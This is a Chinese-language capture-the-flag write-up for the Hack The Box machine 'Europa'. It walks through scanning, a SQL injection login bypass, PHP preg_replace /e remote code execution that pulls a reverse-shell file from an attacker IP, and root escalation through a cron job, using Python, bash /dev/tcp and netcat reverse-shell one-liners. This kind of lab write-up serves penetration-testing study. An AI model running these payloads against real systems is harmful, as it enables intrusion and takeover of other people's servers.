Europa(php rce)

引子

一天可以当两天用,可是当十天不行。
不要低估日积月累的作用。

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6b:55:42:0a:f7:06:8c:67:c0:e2:5c:05:db:09:fb:78 (RSA)
| 256 b1:ea:5e:c4:1c:0a:96:9e:93:db:1d:ad:22:50:74:75 (ECDSA)
|_ 256 33:1f:16:8d:c0:24:78:5f:5b:f5:6d:7f:f7:b4:f2:e5 (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
| Not valid before: 2017-04-19T09:06:22
|_Not valid after: 2027-04-17T09:06:22
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://10.10.10.22 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.22], PoweredBy[{], Script[text/javascript], Title[Apache2 Ubuntu Default Page: It works]

web

http://10.10.10.22

目录扫描

1
2
3
4
5
6
7
8
9
10
11
gobuster -u https://admin-portal.europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k
https://admin-portal.europacorp.htb/data (Status: 301)
https://admin-portal.europacorp.htb/js (Status: 301)
https://admin-portal.europacorp.htb/vendor (Status: 301)
https://admin-portal.europacorp.htb/dist (Status: 301)
https://admin-portal.europacorp.htb/logs (Status: 301)
https://admin-portal.europacorp.htb/server-status (Status: 403)
---
gobuster -u https://www.europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k

gobuster -u https://europacorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k

查找版本漏洞

searchsploit apache 2

Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py
searchsploit -m exploits/linux/webapps/42745.py
python3 42745.py -u https://10.10.10.22/ -a

Optionsbleed 漏洞未发现

https

ssl/http Apache httpd 2.4.18 ((Ubuntu))
参考资料:http://liaoph.com/openssl-san/

SAN(Subject Alternative Name) 是 SSL 标准 x509 中定义的一个扩展。使用了 SAN 字段的 SSL 证书,可以扩展此证书支持的域名,使得一个证书可以支持多个不同域名的解析。

sslyze --regular 10.10.10.22


以前遇到过
将域名和ip绑定,访问网站就会正常显示。而直接通过ip访问,网站不能正常解析。
当时没有深入探究,是什么导致的。

1
2
3
4
5
6
7
8
X509v3 Subject Alternative Name:   {'DNS': ['www.europacorp.htb', 'admin-portal.europacorp.htb']}
echo 10.10.10.22 admin-portal.europacorp.htb >> /etc/hosts
echo 10.10.10.22 www.europacorp.htb >> /etc/hosts
echo 10.10.10.22 europacorp.htb >> /etc/hosts

https://admin-portal.europacorp.htb 一个登陆表单
https://www.europacorp.htb apache2默认配置页面
https://europacorp.htb 同上

wget https://admin-portal.europacorp.htb –no-check-certificate -O admin-portal.europacorp.htb

sql注入

burp将数据包copy to file,选择保存为1.txt
sqlmap -r 1.txt --dbms mysql -p email --force-ssl --dump

获得数据库内容后,得知了用户名是admin@europacorp.htb

以下列的数据登入后台。
email=admin@europacorp.htb‘ or ‘1’=’1&password=098098

代码执行

看到网页上有个输入点,立刻想到了命令执行漏洞,burp抓包看一下。

1
2
3
4
5
6
7
8
9
pattern=/ip_address/&ipaddress=123123&text="openvpn": {

这个代码是页面输入123123的时候,页面post的参数。

如果修改pattern=/ip_address/,为pattern=/vtun0/,可以观察到页面的响应改变了,此处做了一个替换。123123的位置由ip_address的位置改为了vth0的位置。

这里是用正则表达式替换的,而php的函数preg_replace()有个代码执行漏洞。

**preg_replace** 函数 **/e** 模式执行代码的时候会转义特殊字符。

参考资料:

pattern=/^(.*)/e&ipaddress=system(wget http://10.10.14.18:1234/php-reverse-shell.php -P /tmp);&text=

pattern=/^(.*)/e&ipaddress=system(php -f /tmp/php-reverse-shell.php);&text=

得到一个权限为www-data的shell

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp;wget http://10.10.14.18:80/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

查看信息搜集结果,
内核版本挺高的,不存在内核漏洞提权
有效的用户有root、john

存在的定时任务crontab
cat /var/www/cronjobs/clearlogs

#!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>

---
ls -al /var/www/cronjobs/clearlogs
-r-xr-xr-x 1 root root 132 May 12 2017 /var/www/cronjobs/clearlogs

ls -al /var/www/cmd/logcleared.sh
ls: cannot access '/var/www/cmd/logcleared.sh': No such file or directory

于是可以通过定时任务执行/var/www/cmd/logcleared.sh

本地监听8899端口,然后shell执行
touch /var/www/cmd/logcleared.sh

echo 'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8899));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /var/www/cmd/logcleared.sh
失败
echo "bash -i >& /dev/tcp/10.10.14.18/8899 0>&1" > /var/www/cmd/logcleared.sh
失败

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 8899 >/tmp/f" > /var/www/cmd/logcleared.sh;chmod +x /var/www/cmd/logcleared.sh

经过尝试,最后一个payload是最好用的。

总结

在sql注入输入admin@europacorp.htb‘ or ‘1’=’1的时候,页面js脚本总是弹出用户名不是邮箱,这时候该怎么办呢?

这里有一个小技巧:

点击intercept is on,通过burp proxy拦截输入用户名密码里的数据包,然后修改数据包中的内容,修改完成后,点击intercept is off。

这时候数据包就会直接发往服务器,你就可以看到网页已经登陆了。

这是绕过js验证的一个技巧。